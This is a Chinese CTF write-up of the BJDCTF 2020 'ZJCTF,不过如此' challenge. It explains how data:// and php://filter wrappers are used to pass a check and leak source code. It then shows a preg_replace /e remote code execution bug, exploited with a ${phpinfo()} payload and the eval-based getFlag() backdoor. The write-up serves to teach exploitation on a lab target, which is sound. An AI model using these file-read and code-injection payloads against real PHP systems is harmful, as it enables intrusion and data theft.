0%

[BJDCTF 2020]ZJCTF,不过如此

[BJDCTF 2020]ZJCTF,不过如此

php动态访问变量

题目链接:[BJDCTF 2020]ZJCTF,不过如此 | NSSCTF

拿到题目先看代码

img

file_get_contents函数是读取文件的,不过可以使用伪协议,那么我们给text变量传入data伪协议即可满足判断:

1
?text=data://text/plain,I have a dream

直接给file传入next.php读取失败

img

考虑用php伪协议读取

1
file=php://filter/convert.base64-encode/resource=next.php

Base64解密后得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

这里的 foreach($_GET as $re => $str) 语句会把GET方法传入的键值对分别赋值给$re和$str

之后调用 complex($re, $str) 函数

complex($re, $str) 函数中正则表达式采用了/e方法,PHP版本5.6.40,存在命令执行漏洞

preg_replace的第二个参数会被当作命令执行,但是第二个参数是无法修改的,观察表达式,

匹配$re变量加前后的单个字符,strtolower(“\1”)正好表达的就是匹配区的第一个值,如果第一个字符串刚好满足匹配,就会被选中,命令执行

直接传入

1
?\S=${phpinfo()} 

查找flag即可,这里的\S是匹配非空白字符,*是上述内容匹配多次,这样就会匹配传入的非空值,替换表达式的第二个值

img

这里的${}是动态访问变量,比如${getFlag()}就可以直接调用getFlag() 函数,然后再cmd传参也可以有类似效果,不过${}可以直接调用phpinfo()函数